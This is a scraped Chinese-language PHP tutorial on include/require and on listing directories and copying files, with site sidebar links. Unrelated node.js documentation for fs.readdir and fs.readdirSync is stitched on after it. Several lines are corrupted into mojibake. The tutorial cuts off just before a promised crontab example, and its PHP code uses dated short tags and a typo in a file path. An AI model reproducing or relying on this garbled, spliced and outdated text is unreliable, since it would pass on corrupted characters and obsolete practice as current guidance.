       è¯¦ç»†ä»‹ç»

       äºŽPHP具有快速、可靠、跨平台应用、源代码开放等特点,使得PHP成为最受欢迎的服务器端Script语言之一。我根据自己在工作中体会到的,向大家介绍PHP使用的心得,希望对大家有所帮助。

        利用PHP的Include files维护你的网站

        不管你所开发的网站的规模是大是小,你都应该要认识到重复使用程序代码的重要性,不论你重复使用的是 PHP 程序或者是 HTML 原始码。举个例子来说,网站页尾的版权宣告至少每年都得修改一次,如果你的网站有许多个页面,该怎么办呢?动手一个一个修改这些页面肯定是一件头痛的事 情。通过 PHP 我们可以用几个不同的方式来重复使用程序代码。要使用哪些函数端视你要重复使用的是怎样的内容而定。

        这些主要的函数包括:

        * include() 与 include_once()

        * require() 与 require_once()

        1.include() 函数会将指定的档案读入并且执行里面的程序。

        例如:include('/home/me/myfile');

        被导入的档案中的程序代码都会被执行,而且这些程序在执行的时候会拥有和源文件中呼叫到 include() 函数的位置相同的变量范围(variable scope)。你可以导入同一个服务器中的静态档案,甚至可以通过合并使用 include() 与 fopen() 函数来导入其它服务器上面的档案。

        2.include_once()函数的作用和 include() 是几乎相同的

        唯一的差别在于 include_once() 函数会先检查要导入的档案是不是已经在该程序中的其它地方被导入过了,如果有的话就不会再次重复导入该档案(这项功能有时候是很重要的,比方说要导入的档 案里面宣告了一些你自行定义好的函数,那么如果在同一个程序重复导入这个档案,在第二次导入的时候便会发生错误讯息,因为 PHP 不允许相同名称的函数被重复宣告第二次)。

        3.require()函数会将目标档案的内容读入,并且把自己本身代换成这些读入的内容。

        这个读入并且代换的动作是在 PHP 引擎编译你的程序代码的时候发生的,而不是发生在 PHP 引擎开始执行编译好的程序代码的时候(PHP 3.0 引擎的工作方式是编译一行执行一行,但是到了 PHP 4.0 就有所改变了,PHP 4.0 是先把整个程序代码全部编译完成后,再将这些编译好的程序代码一次执行完毕,在编译的过程中不会执行任何程序代码)。require() 通常来导入静态的内容,而 include() 则适合用来导入动态的程序代码。

        4.如同 include_once()函数,require_once() 函数会先检查目标档案的内容是不是在之前就已经导入过了,如果是的话,便不会再次重复导入同样的内容。

        我个人习惯使用 require() 函数来导入版权宣告(copyrights),静态文字或其它本身不含有变量,

       æˆ–者本身需要倚赖其它执行过的程序才能正确执行的程序代码。例如:

        <HTML>

        <HEAD><TITLE>网页标题</TITLE></HEAD> <BODY> [一堆内容] <?

        // 导入版权宣告文字

        require('/home/me/mycopyright'); ?>

        </BODY></HTML>

        另一方面,我通常在程序的开头使用 include() 函数来导入一些函式库或者类似的程序代码: <?

        // 导入我的函式库

        include('/home/me/myfunctions');

        // 利用之前导入的函式库里面定义好的 PHP 函数执行一些功能?> <HTML>

        <HEAD><TITLE>网页标题</TITLE></HEAD> <BODY> [一堆内容] </BODY> </HTML>

        接下来你可能会问这第一个挺符合逻辑的问题:「这些被导入的档案要放在哪儿呢?」简短的答案是:「放在服务器档案系统里的任何地方都行。」然而,要留意的 是如果被导入的档案除了单纯的程序代码片段以外还包含了一些敏感资料,例如连结数据库系统要用到的帐号和密码,那么建议你不要把这些档案放在 Web 服务器的文件根目录之下,因为那样的话他人便可以很容易地窃取到这些资料了。

        你可以将这些被包含的档案放在系统的任何一个目录里面,唯一的条件是 PHP 本身用来执行的身分(www,nobody 或者其它身分)必须要有足够的权限能够读取这些档案就可以了。这些档案的扩展名也可以任意取,甚至没有附档名也无所谓。

        善用include()和 require()来将网站里面经常需要变动的共享内容做合理的分割,在更新网站内容的时候将会容易进行得多。

        利用PHP来维护档案系统

        PHP 提供了很多与档案系统相关的函数,让我们不仅可以开启档案,还能够显示目录的内容,搬移档案的位置以及其它更多功能。有的朋友甚至写了能够通过浏览器来管理档案内容的 PHP 程序。

        在开始介绍 PHP 的档案系统相关功能之前,我们要先理清一件事情:在 Windows操作系统里

       é¢ï¼Œæ¡£æ¡ˆè·¯å¾„可以使用斜线(/)或者反斜线(\)来表示,但是在其它操作系统里面我们只会使用到斜线。为了保持统一性,下面的例 子里面的档案路径都是使用斜线。

        下面的例子程序我将教大家基本的目录内容显示功能,每个步骤都有批注,请直接阅读。

        <? /* $dir_name 这个变量的值是你想要读取的目录的完整路径 */ $dir_name = "/home/me/";

        /* opendir()函数会开启某个目录,并且传回一个参考值(handle)让我们可以用来在程序中参照到该目录 */

        $dir = opendir($dir_name);

        /* 开始建立一个字符串,这个字符串包含了 HTML 的列表卷标,用来显示目录中的文件名称。 */

        $file_list = "<ul>";

        /* 使用一个 while 循环叙述将前面开启的目录中的档案全部读取一遍。如果读取到的档名不是「.」或者「..」,就把该档名写入前面提到的字符串里面去。 */ while ($file_name = readdir($dir)) {

        if (($file_name != ".") && ($file_name != "..")) { $file_list .= "<li>$file_name"; } }

        /* 替 HTML 列表卷标加上结尾 */ $file_list .= "</ul>";

        /* 关闭之前开启的目录并且结束这段 PHP 程序 */ closedir($dir); ?>

        <!-- HTML原始码从这里开始 --> <HTML> <HEAD>

        </HEAD> <BODY>

        <!-- 使用 PHP 程序来将我们所读取的目录名称显示在页面上 --> <P>Files in: <? echo "$dir_name"; ?></p>

        <!-- 使用 PHP 程序将该目录中读取到的文件名显示在页面上 --> <? echo "$file_list"; ?> </BODY> </HTML>

        经过上面几步,你已经成功把某个目录中的文件名称显示在网页上了。但你要记住一点:要读取某个目录或者档案(读取档案内容的做法稍后会介绍),PHP 本身执行所用的身分必须至少拥有该目录或者档案的读取权限才行,否则系统会显示权限不足的错误讯息。

        下一个例子我将教大家如何复制一个档案:

        <? /* 变量$orginal储存源文件的完整路径,变量$copied储存复制过去的新档案的完整路径 */ $original = "/home/me/mydatabasedump"; $copied = "/archive/mydatabasedumo_";

        /* 呼叫 copy() 函数把档案从原始位置复制一份到新的位置去。如果无法复制,那么便终止程序的执行并且显示错误讯息。 */

        @copy($original, $copied) or die("无法复制档案。"); ?>

        上面的例子程序可以用来扩充成为一个档案备份系统程序。当这个程序执行的时候,它会将数据库的数据文件复制到其它目录下面做为备份之用。只要修改系统的排 程档案内容(crontab),我们便可以让这个程序自动在每天的固定时间执行一次,达到系统自动备份,不需要人工手动执行。

        如果你的系统上面有安装 Lynx 软件(Lynx 是一种纯文字的 Web 浏览器)的话,你可以在系统排程档案里面加入下面这笔记录来让系统在固定时间自动激活 Lynx 并且呼叫我们之前写好的 PHP 备份程序。当 Lynx 呼叫(浏览)我们的 PHP 程序的时候,该程序就会被执行,并且产生备份文件。下面这个例子教你如何在每天早晨五点钟执行我们的备份程序,并且在执行完以后自动将 Lynx 程序关闭:

       æ¥è‡ªï¼šé—«å¿—飞 > 《php》

       ä¸Šä¸€ç¯‡ï¼šphp 导出excel (html)

       ä¸‹ä¸€ç¯‡ï¼šWindows版本Apache+php的Xhprof应用——1

       è½¬è—åˆ°æˆ‘的图书馆

       çŒ®èŠ±(0)

       åˆ†äº«åˆ°å¾®ä¿¡

       åˆ†äº«ï¼š

       ç±»ä¼¼æ–‡ç« 

       æ›´å¤š

       PHP之PHP文件引用详解

       æ¯”较require(),include(),require_once(...

       php header函数使用要点

       include 和 include_once 有什么分别?r...

       åå¤©å­¦ä¼šPHP/第六天:PHP日期、引用

       PHP中file_exists与is_file,is_dir的区别....

       php 删除目录下N分钟前创建的所有文件

       è¿‡æ»¤å±é™©html代码的php自定义函数

       çƒ­é—¨æŽ¨å¹¿

       çŒœä½ å–œæ¬¢

       æœ€ç¾Žé›ªæ™¯æ¬£èµâ€”—你那里下雪了吗?

       å¹¿å‘Šè¥é”€å¦‚千军万马过独木桥 成功质...

       æ€ä¹¡æœ€æ˜¯è¯—行,给漂泊的游子

       ä¸ºäº†ä¸å¾—癌症,今天就要做

       åˆæ‹çš„地方

       ç§åƒå¾—起的抗衰老食物

       ä¸–界十大神秘"鬼船"有什么神秘故事

       å…¬å…±åŸºç¡€çŸ¥è¯†é¢˜

       è€å¸ˆå¸¸ç”¨æ•™å­¦ç½‘站账号密码大集合

       æ²¡æœ‰æ‰«æä»ªï¼Œæ€Žä¹ˆåŠžï¼Ÿç”¨ä»€ä¹ˆä»£æ›¿ï¼Ÿ

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       æ·±å…¥ç†è§£php底层:php生命周期

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       çƒ­é—¨æ–‡ç« 

       æ²¡è§è¿‡ç§èŠ±å·çš„做法吧&别错过学习的...

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       å¥³äººçš„苦处:写的非常好——

       å¤–媒一则漫画揭示中美博弈(很喜感)

       ç™½é…’鲜姜云南白药粉治秃顶脱发效果神奇

       äººè¦é•¿ç”Ÿï¼Œè‚ è¦å¸¸æ¸…

       æ›´å¤š>>

       å…³é—­

       å…³é—­

node.js中的fs.readdir方法使用说明

       方法说明:

       以异步的方式读取文件目录。

       语法:

       代码如下:

       fs.readdir(path, [callback(err,files)])

       由于该方法属于fs模块,使用前需要引入fs模块(var fs= require(“fs”) )

       接收参数:

       path 目录路径

       callback 回调,传递两个参数 err 和 files,files是一个包含 “ 指定目录下所有文件名称的” 数组。

       例子:

       代码如下:

       var fs = require('fs');

       fs.readdir('readdirtest', function(err,files){

       if(err){

       console.log(err);

       }

       console.log(files);

       })

       源码:

       代码如下:

       fs.readdir = function(path, callback) {

       callback = makeCallback(callback);

       if (!nullCheck(path, callback)) return;

       binding.readdir(pathModule._makeLong(path), callback);

       };

node.js中的fs.readdirSync方法使用说明

       方法说明:

       同步版本的 fs.readdir() 。

       方法将返回一个包含“指定目录下所有文件名称”的数组对象。

       语法:

       代码如下:

       fs.readdirSync(path)

       由于该方法属于fs模块,使用前需要引入fs模块(var fs= require(“fs”) )

       接收参数:

       path 目录路径

       例子:

       代码如下:

       var fs = require('fs');

       var readDir = fs.readdirSync('readdirtest');

       console.log(readDir);

       源码:

       代码如下:

       fs.readdirSync = function(path) {

       nullCheck(path);

       return binding.readdir(pathModule._makeLong(path));

       };

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